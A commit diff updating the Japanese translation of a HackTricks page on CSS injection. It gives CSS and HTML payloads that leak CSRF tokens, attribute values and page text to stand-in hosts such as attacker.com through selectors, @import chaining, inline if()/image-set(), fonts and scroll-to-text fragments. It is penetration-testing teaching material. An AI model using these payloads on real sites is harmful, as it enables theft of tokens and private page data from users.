mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']
This commit is contained in:
parent
f93d0771fd
commit
28124ae80e
@ -6,7 +6,7 @@
|
||||
|
||||
### 属性セレクタ
|
||||
|
||||
CSSセレクタは、`input`要素の`name`および`value`属性の値に一致するように作成されています。入力要素の値属性が特定の文字で始まる場合、あらかじめ定義された外部リソースが読み込まれます:
|
||||
CSSセレクタは、`input` 要素の `name` と `value` 属性の値にマッチするよう作成されます。もし `input` 要素の `value` 属性が特定の文字で始まると、あらかじめ定義された外部リソースが読み込まれます:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
しかし、このアプローチは、隠し入力要素(`type="hidden"`)を扱う際に制限に直面します。なぜなら、隠し要素は背景を読み込まないからです。
|
||||
しかし、この手法は隠し input 要素(`type="hidden"`)に対して制約があり、隠し要素は背景を読み込まないため問題になります。
|
||||
|
||||
#### 隠し要素のバイパス
|
||||
|
||||
この制限を回避するために、`~` 一般的な兄弟コンビネータを使用して、次の兄弟要素をターゲットにすることができます。CSSルールは、隠し入力要素の後に続くすべての兄弟に適用され、背景画像が読み込まれるようになります。
|
||||
この制約を回避するには、`~` を使った一般兄弟セレクタで後続の兄弟要素をターゲットにします。するとその CSS ルールは隠し input 要素に続くすべての兄弟要素に適用され、背景画像を読み込ませます:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
この技術を利用した実践的な例は、提供されたコードスニペットに詳述されています。こちらで見ることができます [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)。
|
||||
この手法を実際に悪用する実例は、添付のコードスニペットに詳述されています。閲覧は [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) から可能です。
|
||||
|
||||
#### CSSインジェクションの前提条件
|
||||
#### CSS Injection の前提条件
|
||||
|
||||
CSSインジェクション技術が効果的であるためには、特定の条件を満たす必要があります:
|
||||
CSS Injection を有効にするには、いくつかの条件を満たす必要があります:
|
||||
|
||||
1. **ペイロードの長さ**: CSSインジェクションベクターは、作成されたセレクタを収容するのに十分な長さのペイロードをサポートする必要があります。
|
||||
2. **CSSの再評価**: 新しく生成されたペイロードでCSSの再評価をトリガーするために、ページをフレーム化する能力が必要です。
|
||||
3. **外部リソース**: この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシー(CSP)によって制限される可能性があります。
|
||||
1. **Payload Length**: CSS injection vector は、作成したセレクタを格納するのに十分な長さのpayloadをサポートしている必要があります。
|
||||
2. **CSS Re-evaluation**: ページをフレーム内に読み込める能力が必要です。これは、新たに生成したpayloadを用いてCSSの再評価をトリガーするために必要です。
|
||||
3. **External Resources**: この手法は外部ホストされた画像を使用できることを前提としています。これはサイトの Content Security Policy (CSP) によって制限される可能性があります。
|
||||
|
||||
### ブラインド属性セレクタ
|
||||
### Blind Attribute Selector
|
||||
|
||||
[**この投稿で説明されているように**](https://portswigger.net/research/blind-css-exfiltration)、**`:has`** と **`:not`** セレクタを組み合わせて、ブラインド要素からコンテンツを特定することが可能です。これは、CSSインジェクションを読み込むウェブページの中身がわからない場合に非常に便利です。\
|
||||
また、これらのセレクタを使用して、同じタイプの複数のブロックから情報を抽出することも可能です。
|
||||
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), セレクタ **`:has`** と **`:not`** を組み合わせることで、ブラインド要素からでもコンテンツを識別することが可能です。これは、CSS Injection を読み込むウェブページの内部が全く分からない場合に非常に有用です。\
|
||||
これらのセレクタを使って、同じタイプの複数のブロックから情報を抽出することも可能です。例えば:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -52,59 +52,95 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
この技術を次の**@import**技術と組み合わせることで、**[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**を使用して、盲目的なページから多くの**情報を流出させる**ことが可能です。**
|
||||
次の**@import**テクニックと組み合わせることで、多くの**CSS injectionを使ったblind pagesからの情報のエクスフィルトレーションを** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**が可能です。**
|
||||
|
||||
### @import
|
||||
|
||||
前の技術にはいくつかの欠点があり、前提条件を確認する必要があります。あなたは**被害者に複数のリンクを送信できる必要がある**か、**CSSインジェクション脆弱ページをiframeで表示できる必要があります**。
|
||||
前のテクニックにはいくつか欠点があるので、前提条件を確認してください。あなたは**send multiple links to the victim**できるか、あるいは**iframe the CSS injection vulnerable page**できる必要があります。
|
||||
|
||||
しかし、**CSS `@import`**を使用して技術の質を向上させる別の巧妙な技術があります。
|
||||
しかし、品質を向上させるために**CSS `@import`**を利用する別の巧妙な手法があります。
|
||||
|
||||
これは最初に[**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)によって示され、次のように機能します:
|
||||
これは最初に[**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)によって示され、動作は次の通りです:
|
||||
|
||||
同じページを何度も異なるペイロードで読み込む代わりに(前の方法のように)、**ページを一度だけ攻撃者のサーバーへのインポートで読み込む**ことにします(これが被害者に送信するペイロードです):
|
||||
同じページを何度も読み込み、毎回何十もの異なるpayloadを使うのではなく(前の手法のように)、ページを一度だけ読み込み、**load the page just once and just with an import to the attackers server**(this is the payload to send to the victim):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. インポートは**攻撃者からのCSSスクリプトを受け取る**ことになります、そして**ブラウザはそれを読み込みます**。
|
||||
2. 攻撃者が送信するCSSスクリプトの最初の部分は**再び攻撃者のサーバーへの別の`@import`です**。
|
||||
1. 攻撃者のサーバーはこのリクエストにはまだ応答しません。なぜなら、いくつかの文字を漏洩させ、その後このインポートにペイロードを応答して次の文字を漏洩させたいからです。
|
||||
3. ペイロードの2番目でより大きな部分は**属性セレクタ漏洩ペイロード**になります。
|
||||
1. これにより、攻撃者のサーバーに**秘密の最初の文字と最後の文字**が送信されます。
|
||||
4. 攻撃者のサーバーが**秘密の最初と最後の文字**を受け取ると、**ステップ2で要求されたインポートに応答します**。
|
||||
1. 応答は**ステップ2、3、4と全く同じ**ですが、今回は**秘密の2番目の文字と次の最後の文字を見つけようとします**。
|
||||
1. importはattackersから**CSSスクリプトを受け取り**、**browserがそれを読み込みます**。
|
||||
2. attackerが送るCSSスクリプトの最初の部分は**さらに別の`@import`でattackers serverへ向けられます。**
|
||||
1. attackers serverはまだこのリクエストに応答しません。なぜならいくつかの文字をleakしてから、このimportに対して次の文字をleakするためのpayloadで応答したいからです。
|
||||
3. payloadの第二部でより大きい部分は**attribute selector leakage payload**になります
|
||||
1. これはattackers serverに**secretの最初のcharと最後のchar**を送信します
|
||||
4. attackers serverが**secretの最初と最後のchar**を受け取ると、**ステップ2で要求されたimportに応答します**。
|
||||
1. 応答は**ステップ2, 3, 4**と全く同じになりますが、今回は**secretの2番目のcharと最後から2番目を見つけようと**します。
|
||||
|
||||
攻撃者は**秘密を完全に漏洩させるまでそのループを続けます**。
|
||||
attackerはそのループを**続け、secretを完全にleakするまで**回します。
|
||||
|
||||
元の[**Pepe Vilaのコードをここで見つけることができます**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)またはほぼ[**同じコードですがコメント付きのものをここで見つけることができます**](#css-injection)。
|
||||
元の[**Pepe Vilaのこの問題を悪用するためのコードはこちら**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)、あるいはほぼ[**同じコード(コメント付き)はこちら**](#css-injection)を参照できます。
|
||||
|
||||
> [!NOTE]
|
||||
> スクリプトは毎回2文字を発見しようとします(始まりからと終わりから)なぜなら、属性セレクタは次のようなことを可能にするからです:
|
||||
> [!TIP]
|
||||
> スクリプトは各回に2文字(先頭と末尾から)を発見しようとします。これはattribute selectorが以下のようなことを可能にするためです:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= 値の始まりに一致させるため*/
|
||||
> /* value^= to match the beggining of the value*/
|
||||
> input[value^="0"] {
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> }
|
||||
>
|
||||
> /* value$= 値の終わりに一致させるため*/
|
||||
> /* value$= to match the ending of the value*/
|
||||
> input[value$="f"] {
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> これにより、スクリプトは秘密をより早く漏洩させることができます。
|
||||
> これによりスクリプトはsecretをより速くleakできます。
|
||||
|
||||
> [!WARNING]
|
||||
> 時々、スクリプトは**接頭辞 + 接尾辞がすでに完全なフラグであることを正しく検出しない**ことがあり、接頭辞で前進し(接頭辞)、接尾辞で後退し、ある時点でハングします。\
|
||||
> 心配しないでください、**出力**を確認してください、なぜなら**そこにフラグを見ることができるからです**。
|
||||
> スクリプトは時々、発見されたprefix + suffixが既に完全なflagであることを**正しく検出できない**ことがあり、そのため前方(prefix側)および後方(suffix側)に進み続け、最終的にハングすることがあります。\
|
||||
> 心配いりません、**output**を確認すれば**そこにflagが表示されています**。
|
||||
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
|
||||
|
||||
> [!WARNING]
|
||||
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
|
||||
|
||||
- Sink: 要素のstyle属性を制御し、ターゲット属性が同じ要素上にあることを保証します(attr()は同一要素の属性のみを読み取ります)。
|
||||
- Read: 属性をCSS変数にコピーします: `--val: attr(title)`.
|
||||
- Decide: 変数を文字列候補と比較するネストされた条件式を使ってURLを選択します: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: 選択したエンドポイントへのリクエストを強制するために、`background: image-set(var(--steal))`(または任意のリクエストを発生させるプロパティ)を適用します。
|
||||
|
||||
Attempt(動作しません;比較でシングルクォートを使用している):
|
||||
```html
|
||||
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
||||
```
|
||||
動作するペイロード(比較時はダブルクォートが必要):
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
ネストされた条件で属性値を列挙する:
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
現実的なデモ (probing usernames):
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
注意点と制限:
|
||||
|
||||
- 調査時点では Chromiumベースのブラウザで動作します。他のエンジンでは挙動が異なる可能性があります。
|
||||
- 有限/列挙可能な値空間(IDs, flags, short usernames)に最適です。外部スタイルシートを使わずに任意の長い文字列を盗むのは依然として困難です。
|
||||
- URLをフェッチする任意のCSSプロパティがリクエストをトリガーするために使えます(例: background/image-set, border-image, list-style, cursor, content)。
|
||||
|
||||
Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### その他のセレクタ
|
||||
|
||||
**CSSセレクタ**を使用してDOMの部分にアクセスする他の方法:
|
||||
DOMの一部にアクセスする他の方法(**CSS selectors**):
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: これはDOM内のクラス「class-to-search」を持つ2番目のアイテムを検索します。
|
||||
- **`:empty`**セレクタ: 例えば、[**この解説**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**で使用されています**:
|
||||
- **`.class-to-search:nth-child(2)`**: DOM内でクラス "class-to-search" を持つ2番目の要素を検索します。
|
||||
- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -112,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### エラーに基づくXS-Search
|
||||
### Error based XS-Search
|
||||
|
||||
**参考文献:** [CSSベースの攻撃: @font-faceのunicode-rangeを悪用する](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)、[エラーに基づくXS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
全体の意図は、**制御されたエンドポイントからカスタムフォントを使用し、指定されたリソース(`favicon.ico`)が読み込まれない場合にのみ、**テキスト(この場合は'A')がこのフォントで表示されることを保証することです**。
|
||||
全体的な意図は、**制御されたエンドポイントからカスタムフォントを使用し**、指定されたリソース(`favicon.ico`)が読み込めない場合に限り**テキスト(この場合は 'A')がそのフォントで表示されるようにする**ことです。
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -138,49 +174,49 @@ font-family: "poc";
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
1. **カスタムフォントの使用**:
|
||||
1. **カスタムフォントの利用**:
|
||||
|
||||
- カスタムフォントは、`<head>`セクションの`<style>`タグ内で`@font-face`ルールを使用して定義されます。
|
||||
- フォントは`poc`と名付けられ、外部エンドポイント(`http://attacker.com/?leak`)から取得されます。
|
||||
- `unicode-range`プロパティは`U+0041`に設定され、特定のUnicode文字'A'をターゲットにしています。
|
||||
- `<head>` セクションの `<style>` タグ内で `@font-face` ルールを使用してカスタムフォントが定義されています。
|
||||
- フォントは `poc` と名付けられ、外部エンドポイント(`http://attacker.com/?leak`)から取得されます。
|
||||
- `unicode-range` プロパティは `U+0041` に設定され、特定の Unicode 文字 'A' を対象とします。
|
||||
|
||||
2. **フォールバックテキストを持つオブジェクト要素**:
|
||||
- `<body>`セクションに`id="poc0"`を持つ`<object>`要素が作成されます。この要素は`http://192.168.0.1/favicon.ico`からリソースを読み込もうとします。
|
||||
- この要素の`font-family`は、`<style>`セクションで定義された`'poc'`に設定されています。
|
||||
- リソース(`favicon.ico`)の読み込みに失敗した場合、`<object>`タグ内のフォールバックコンテンツ(文字'A')が表示されます。
|
||||
- 外部リソースが読み込まれない場合、フォールバックコンテンツ('A')はカスタムフォント`poc`を使用してレンダリングされます。
|
||||
2. **フォールバックテキストを持つ Object 要素**:
|
||||
- `<body>` セクションに `id="poc0"` を持つ `<object>` 要素が作成されます。この要素は `http://192.168.0.1/favicon.ico` からリソースの読み込みを試みます。
|
||||
- この要素の `font-family` は `<style>` セクションで定義された通り `'poc'` に設定されています。
|
||||
- リソース(`favicon.ico`)の読み込みに失敗した場合、`<object>` タグ内のフォールバックコンテンツ(文字 'A')が表示されます。
|
||||
- 外部リソースが読み込めない場合、フォールバックコンテンツ('A')はカスタムフォント `poc` を使用してレンダリングされます。
|
||||
|
||||
### スクロールテキストフラグメントのスタイリング
|
||||
### Scroll-to-Text フラグメントのスタイリング
|
||||
|
||||
**`:target`**擬似クラスは、**URLフラグメント**によってターゲットにされた要素を選択するために使用されます。これは[CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo)で指定されています。`::target-text`は、テキストがフラグメントによって明示的にターゲットにされない限り、いかなる要素にも一致しないことを理解することが重要です。
|
||||
**`:target`** 疑似クラスは、[CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) に記載されている通り、**URL fragment** によってターゲットされた要素を選択するために使用されます。`::target-text` は、フラグメントによってテキストが明示的にターゲットされない限り、いかなる要素にもマッチしないことを理解することが重要です。
|
||||
|
||||
攻撃者が**スクロールテキスト**フラグメント機能を悪用することで、特定のテキストがウェブページに存在することを確認できるというセキュリティ上の懸念が生じます。これは、HTMLインジェクションを通じて自分のサーバーからリソースを読み込むことによって実現されます。この方法は、次のようなCSSルールを注入することを含みます:
|
||||
攻撃者が **Scroll-to-text** フラグメント機能を悪用すると、HTML インジェクションを通じて自身のサーバーからリソースを読み込ませることで、ウェブページ上に特定のテキストが存在するかを確認できるというセキュリティ上の懸念が生じます。この手法では、以下のような CSS ルールを注入します:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
そのようなシナリオでは、ページに「Administrator」というテキストが存在する場合、リソース `target.png` がサーバーからリクエストされ、テキストの存在が示されます。この攻撃の一例は、注入されたCSSをScroll-to-textフラグメントと共に埋め込んだ特別に作成されたURLを通じて実行できます:
|
||||
このようなシナリオでは、ページに "Administrator" というテキストが存在する場合、リソース `target.png` がサーバーにリクエストされ、そのテキストが存在することが示されます。注入された CSS を Scroll-to-text fragment とともに埋め込んだ特殊に作成した URL を使って、この攻撃の一例を実行できます:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
ここでは、攻撃がHTMLインジェクションを操作してCSSコードを送信し、特定のテキスト「Administrator」をScroll-to-textフラグメント(`#:~:text=Administrator`)を通じて狙っています。テキストが見つかると、指定されたリソースが読み込まれ、攻撃者にその存在を無意識に知らせることになります。
|
||||
ここでは、攻撃が HTML インジェクションを操作して CSS コードを送信し、Scroll-to-text fragment (`#:~:text=Administrator`) を介して特定のテキスト「Administrator」を狙います。該当するテキストが見つかると、指定されたリソースが読み込まれ、結果として攻撃者にその存在を通知してしまいます。
|
||||
|
||||
緩和策として、以下の点に注意する必要があります:
|
||||
軽減策として、次の点に注意してください:
|
||||
|
||||
1. **制約されたSTTFマッチング**: Scroll-to-text Fragment (STTF) は単語や文のみをマッチさせるように設計されており、任意の秘密やトークンを漏洩させる能力を制限しています。
|
||||
2. **トップレベルのブラウジングコンテキストへの制限**: STTFはトップレベルのブラウジングコンテキストでのみ機能し、iframe内では機能しないため、いかなる悪用の試みもユーザーにとってより目立つものになります。
|
||||
3. **ユーザーのアクティベーションの必要性**: STTFは動作するためにユーザーのアクティベーションジェスチャーを必要とし、つまり悪用はユーザーが開始したナビゲーションを通じてのみ可能です。この要件は、ユーザーのインタラクションなしに攻撃が自動化されるリスクを大幅に軽減します。それにもかかわらず、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張とのインタラクション)を指摘しています。
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) は単語または文のみをマッチするように設計されており、そのため任意のシークレットやトークンをleakする能力が制限されます。
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF はトップレベルのブラウジングコンテキストでのみ動作し、iframe 内では機能しないため、悪用の試みはユーザーにとってより目立ちやすくなります。
|
||||
3. **Necessity of User Activation**: STTF は動作に user-activation ジェスチャを必要とするため、悪用はユーザー主導のナビゲーションを通じてのみ現実的です。この要件により、ユーザー操作なしに攻撃が自動化されるリスクは大幅に軽減されます。とはいえ、ブログ記事の著者は特定の条件やバイパス(例: social engineering、一般的な browser extensions との相互作用)によって攻撃の自動化が容易になる可能性を指摘しています。
|
||||
|
||||
これらのメカニズムと潜在的な脆弱性を認識することは、ウェブセキュリティを維持し、そのような悪用戦術から保護するための鍵です。
|
||||
これらの仕組みと潜在的な脆弱性を認識することが、Web セキュリティの維持およびこうした悪用手法からの保護に重要です。
|
||||
|
||||
詳細については、元の報告を確認してください: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
この技術を使用した[**CTFのエクスプロイトをこちらで確認できます**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
|
||||
You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
特定のunicode値に対して**外部フォントを指定することができ**、そのunicode値がページに存在する場合にのみ**収集されます**。例えば:
|
||||
特定の Unicode 値に対して **外部フォント** を指定でき、これらの Unicode 値がページに存在する場合にのみそのフォントが取得されます。例えば:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -206,25 +242,25 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
このページにアクセスすると、ChromeとFirefoxは、敏感情報のテキストノードに「A」と「B」文字が含まれているため、「?A」と「?B」を取得します。しかし、ChromeとFirefoxは「C」を含まないため、「?C」を取得しません。これは、「A」と「B」を読み取ることができたことを意味します。
|
||||
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
||||
|
||||
### テキストノードの抽出 (I): リガチャ <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**参考文献:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
この技術は、フォントリガチャを利用してノードからテキストを抽出し、幅の変化を監視することを含みます。プロセスは以下のいくつかのステップで構成されています。
|
||||
説明されている手法は、font ligatures を悪用してノードからテキストを抽出し、幅の変化を監視することでテキストを読み取るものです。プロセスは以下のようなステップで構成されます:
|
||||
|
||||
1. **カスタムフォントの作成**:
|
||||
1. **Creation of Custom Fonts**:
|
||||
|
||||
- SVGフォントは、2文字のシーケンスを表すグリフに大きな幅を設定する`horiz-adv-x`属性を持つグリフで作成されます。
|
||||
- 例 SVGグリフ: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`、ここで「XY」は2文字のシーケンスを示します。
|
||||
- これらのフォントは、fontforgeを使用してwoff形式に変換されます。
|
||||
- SVG フォントは、`horiz-adv-x` 属性を持つグリフで作成されます。この属性は 2 文字のシーケンスを表すグリフに大きな幅を設定します。
|
||||
- 例の SVG グリフ: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`。ここで "XY" は 2 文字のシーケンスを示します。
|
||||
- これらのフォントは fontforge を使用して woff 形式に変換されます。
|
||||
|
||||
2. **幅の変化の検出**:
|
||||
2. **Detection of Width Changes**:
|
||||
|
||||
- CSSを使用してテキストが折り返さないようにし(`white-space: nowrap`)、スクロールバーのスタイルをカスタマイズします。
|
||||
- 明確にスタイルされた水平スクロールバーの出現は、特定のリガチャ、つまり特定の文字シーケンスがテキストに存在することを示す指標(オラクル)として機能します。
|
||||
- 関連するCSS:
|
||||
- CSS を使用してテキストの折り返しを禁止(`white-space: nowrap`)し、スクロールバーのスタイルをカスタマイズします。
|
||||
- 独特のスタイルが適用された水平スクロールバーの出現は、特定の ligature(つまり特定の文字列)がテキスト内に存在することを示す指標(オラクル)として機能します。
|
||||
- 関連する CSS:
|
||||
```css
|
||||
body {
|
||||
white-space: nowrap;
|
||||
@ -237,30 +273,30 @@ background: url(http://attacker.com/?leak);
|
||||
}
|
||||
```
|
||||
|
||||
3. **エクスプロイトプロセス**:
|
||||
3. **Exploit Process**:
|
||||
|
||||
- **ステップ1**: 幅の大きい文字ペア用のフォントが作成されます。
|
||||
- **ステップ2**: 大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされるときに検出するために、スクロールバーを利用したトリックが使用され、文字シーケンスの存在を示します。
|
||||
- **ステップ3**: リガチャを検出すると、検出されたペアを含む3文字のシーケンスを表す新しいグリフが生成され、前または後の文字が追加されます。
|
||||
- **ステップ4**: 3文字のリガチャの検出が行われます。
|
||||
- **ステップ5**: プロセスは繰り返され、テキスト全体が徐々に明らかになります。
|
||||
- **Step 1**: 幅の大きい文字ペア用のフォントを作成します。
|
||||
- **Step 2**: スクロールバーを利用したトリックで、幅の大きいグリフ(文字ペアの ligature)がレンダリングされたことを検出し、該当する文字列の存在を確認します。
|
||||
- **Step 3**: ligature を検出したら、検出したペアに前後の文字を追加した 3 文字シーケンスを表す新しいグリフを生成します。
|
||||
- **Step 4**: その 3 文字 ligature の検出を行います。
|
||||
- **Step 5**: このプロセスを繰り返し、テキスト全体を段階的に明らかにしていきます。
|
||||
|
||||
4. **最適化**:
|
||||
- 現在の初期化方法は`<meta refresh=...`を使用しており、最適ではありません。
|
||||
- より効率的なアプローチは、CSSの`@import`トリックを利用し、エクスプロイトのパフォーマンスを向上させることができます。
|
||||
4. **Optimization**:
|
||||
- 現在の `<meta refresh=...` を使った初期化方法は最適とは言えません。
|
||||
- より効率的な方法として CSS の `@import` トリックを用いることで、エクスプロイトの性能を向上させることができます。
|
||||
|
||||
### テキストノードの抽出 (II): デフォルトフォントを使用した文字セットの漏洩(外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考文献:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
このトリックはこの[**Slackersスレッド**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/)で公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされている**デフォルトフォント**を使用して漏洩することができます:外部またはカスタムフォントは必要ありません。
|
||||
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). ブラウザにインストールされたデフォルトフォントを使用して、テキストノードで使われている charset を leak することができます:外部フォントやカスタムフォントは不要です。
|
||||
|
||||
この概念は、アニメーションを利用して`div`の幅を徐々に拡大し、1文字ずつテキストの「サフィックス」部分から「プレフィックス」部分に移行させることに基づいています。このプロセスは、テキストを2つのセクションに分割します。
|
||||
この手法は、アニメーションを使って `div` の幅を段階的に拡張し、テキストの 'suffix' 部分から 'prefix' 部分へ一文字ずつ移動させることで機能します。これによりテキストは次の2つのセクションに分割されます:
|
||||
|
||||
1. **プレフィックス**: 初期行。
|
||||
2. **サフィックス**: 次の行。
|
||||
1. Prefix: 最初の行
|
||||
2. Suffix: 続く行(複数行)
|
||||
|
||||
文字の遷移段階は次のように表示されます:
|
||||
文字の遷移段階は次のようになります:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
@ -273,15 +309,15 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
この遷移中に、**unicode-rangeトリック**が使用され、新しい文字がプレフィックスに加わるたびに特定されます。これは、デフォルトフォントよりも明らかに高いComic Sansフォントに切り替えることで達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの出現は、プレフィックスに新しい文字が存在することを間接的に示します。
|
||||
この遷移中に、**unicode-range trick** を利用して、prefix に加わる各文字を識別します。具体的にはフォントを Comic Sans に切り替えることで、その文字がデフォルトフォントより明らかに大きくなり、縦スクロールバーが発生します。このスクロールバーの出現によって、prefix に新しい文字が存在することが間接的に明らかになります。
|
||||
|
||||
この方法では、ユニークな文字が現れるときに検出できますが、どの文字が繰り返されているかは特定できず、繰り返しが発生したことのみがわかります。
|
||||
